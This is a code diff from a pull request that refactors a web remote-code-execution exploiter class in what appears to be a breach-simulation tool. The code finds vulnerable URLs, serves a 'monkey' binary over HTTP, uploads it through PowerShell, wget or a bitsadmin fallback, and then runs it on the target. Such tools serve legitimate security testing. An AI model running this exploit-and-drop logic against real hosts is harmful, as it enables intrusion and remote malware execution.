Merge pull request #178 from VakarisZ/WebRCE_Framework
Added functions get_monkey_paths and run_backup_commands
This commit is contained in:
commit
aab8f9295e
|
@ -410,8 +410,6 @@ class HTTPTools(object):
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||||
|
|
||||||
httpd.daemon = True
|
|
||||||
httpd.start()
|
httpd.start()
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||||
|
@ -515,7 +513,7 @@ def get_monkey_depth():
|
||||||
|
|
||||||
def get_monkey_dest_path(url_to_monkey):
|
def get_monkey_dest_path(url_to_monkey):
|
||||||
"""
|
"""
|
||||||
Gets destination path from source path.
|
Gets destination path from monkey's source url.
|
||||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||||
:return: Corresponding monkey path from configuration
|
:return: Corresponding monkey path from configuration
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -37,6 +37,7 @@ class WebRCE(HostExploiter):
|
||||||
'win64': self._config.dropper_target_path_win_64}
|
'win64': self._config.dropper_target_path_win_64}
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
|
self.vulnerable_urls = []
|
||||||
|
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
"""
|
"""
|
||||||
|
@ -77,38 +78,32 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
# Get urls to try to exploit
|
# Get urls to try to exploit
|
||||||
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
urls = self.build_potential_urls(ports, exploit_config['url_extensions'])
|
||||||
vulnerable_urls = []
|
self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls'])
|
||||||
for url in urls:
|
|
||||||
if self.check_if_exploitable(url):
|
|
||||||
vulnerable_urls.append(url)
|
|
||||||
if exploit_config['stop_checking_urls']:
|
|
||||||
break
|
|
||||||
self._exploit_info['vulnerable_urls'] = vulnerable_urls
|
|
||||||
|
|
||||||
if not vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Skip if monkey already exists and this option is given
|
# Skip if monkey already exists and this option is given
|
||||||
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
|
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
# Check for targets architecture (if it's 32 or 64 bit)
|
# Check for targets architecture (if it's 32 or 64 bit)
|
||||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]):
|
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Upload the right monkey to target
|
# Upload the right monkey to target
|
||||||
data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands'])
|
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
|
||||||
|
|
||||||
if data is not False and data['response'] is False:
|
if data is not False and data['response'] is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Change permissions to transform monkey into executable file
|
# Change permissions to transform monkey into executable file
|
||||||
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
|
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Execute remote monkey
|
# Execute remote monkey
|
||||||
if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
@ -202,6 +197,23 @@ class WebRCE(HostExploiter):
|
||||||
LOG.info("No attack url's were built")
|
LOG.info("No attack url's were built")
|
||||||
return url_list
|
return url_list
|
||||||
|
|
||||||
|
def add_vulnerable_urls(self, urls, stop_checking=False):
|
||||||
|
"""
|
||||||
|
Gets vulnerable url(s) from url list
|
||||||
|
:param urls: Potentially vulnerable urls
|
||||||
|
:param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool)
|
||||||
|
:return: None (we append to class variable vulnerable_urls)
|
||||||
|
"""
|
||||||
|
for url in urls:
|
||||||
|
if self.check_if_exploitable(url):
|
||||||
|
self.vulnerable_urls.append(url)
|
||||||
|
if stop_checking:
|
||||||
|
break
|
||||||
|
if not self.vulnerable_urls:
|
||||||
|
LOG.info("No vulnerable urls found, skipping.")
|
||||||
|
# We add urls to param used in reporting
|
||||||
|
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
|
||||||
|
|
||||||
def get_host_arch(self, url):
|
def get_host_arch(self, url):
|
||||||
"""
|
"""
|
||||||
:param url: Url for exploiter to use
|
:param url: Url for exploiter to use
|
||||||
|
@ -282,6 +294,21 @@ class WebRCE(HostExploiter):
|
||||||
self.host.os['machine'] = arch
|
self.host.os['machine'] = arch
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
def run_backup_commands(self, resp, url, dest_path, http_path):
|
||||||
|
"""
|
||||||
|
If you need multiple commands for the same os you can override this method to add backup commands
|
||||||
|
:param resp: Response from base command
|
||||||
|
:param url: Vulnerable url
|
||||||
|
:param dest_path: Where to upload monkey
|
||||||
|
:param http_path: Where to download monkey from
|
||||||
|
:return: Command's response (same response if backup command is not needed)
|
||||||
|
"""
|
||||||
|
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||||
|
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||||
|
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||||
|
resp = self.exploit(url, backup_command)
|
||||||
|
return resp
|
||||||
|
|
||||||
def upload_monkey(self, url, commands=None):
|
def upload_monkey(self, url, commands=None):
|
||||||
"""
|
"""
|
||||||
:param url: Where exploiter should send it's request
|
:param url: Where exploiter should send it's request
|
||||||
|
@ -290,39 +317,31 @@ class WebRCE(HostExploiter):
|
||||||
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
:return: {'response': response/False, 'path': monkeys_path_in_host}
|
||||||
"""
|
"""
|
||||||
LOG.info("Trying to upload monkey to the host.")
|
LOG.info("Trying to upload monkey to the host.")
|
||||||
src_path = get_target_monkey(self.host)
|
if not self.host.os['type']:
|
||||||
if not src_path:
|
LOG.error("Unknown target's os type. Skipping.")
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
|
||||||
return False
|
return False
|
||||||
# Determine which destination path to use
|
paths = self.get_monkey_paths()
|
||||||
LOG.debug("Monkey path found")
|
if not paths:
|
||||||
path = self.get_monkey_upload_path(src_path)
|
|
||||||
if not path:
|
|
||||||
return False
|
return False
|
||||||
# Create server for http download and wait for it's startup.
|
# Create server for http download and wait for it's startup.
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path'])
|
||||||
if not http_path:
|
if not http_path:
|
||||||
LOG.debug("Exploiter failed, http transfer creation failed.")
|
LOG.debug("Exploiter failed, http transfer creation failed.")
|
||||||
return False
|
return False
|
||||||
LOG.info("Started http server on %s", http_path)
|
LOG.info("Started http server on %s", http_path)
|
||||||
if not self.host.os['type']:
|
|
||||||
LOG.error("Unknown target's os type. Skipping.")
|
|
||||||
return False
|
|
||||||
# Choose command:
|
# Choose command:
|
||||||
if not commands:
|
if not commands:
|
||||||
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
|
||||||
command = self.get_command(path, http_path, commands)
|
command = self.get_command(paths['dest_path'], http_path, commands)
|
||||||
|
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
|
|
||||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
|
||||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
|
||||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
|
|
||||||
resp = self.exploit(url, backup_command)
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
LOG.info("Uploading process finished")
|
LOG.info("Uploading process finished")
|
||||||
return {'response': resp, 'path': path}
|
return {'response': resp, 'path': paths['dest_path']}
|
||||||
|
|
||||||
def change_permissions(self, url, path, command=None):
|
def change_permissions(self, url, path, command=None):
|
||||||
"""
|
"""
|
||||||
|
@ -421,6 +440,21 @@ class WebRCE(HostExploiter):
|
||||||
"custom dict of monkey's destination paths")
|
"custom dict of monkey's destination paths")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
def get_monkey_paths(self):
|
||||||
|
"""
|
||||||
|
Gets local (used by server) and destination (where to download) paths.
|
||||||
|
:return: dict of source and destination paths
|
||||||
|
"""
|
||||||
|
src_path = get_target_monkey(self.host)
|
||||||
|
if not src_path:
|
||||||
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
|
return False
|
||||||
|
# Determine which destination path to use
|
||||||
|
dest_path = self.get_monkey_upload_path(src_path)
|
||||||
|
if not dest_path:
|
||||||
|
return False
|
||||||
|
return {'src_path': src_path, 'dest_path': dest_path}
|
||||||
|
|
||||||
def get_default_dropper_path(self):
|
def get_default_dropper_path(self):
|
||||||
"""
|
"""
|
||||||
Gets default dropper path for the host.
|
Gets default dropper path for the host.
|
||||||
|
|
|
@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread):
|
||||||
self._stopped = False
|
self._stopped = False
|
||||||
self.lock = lock
|
self.lock = lock
|
||||||
threading.Thread.__init__(self)
|
threading.Thread.__init__(self)
|
||||||
|
self.daemon = True
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
class TempHandler(FileServHTTPRequestHandler):
|
class TempHandler(FileServHTTPRequestHandler):
|
||||||
|
|
Loading…
Reference in New Issue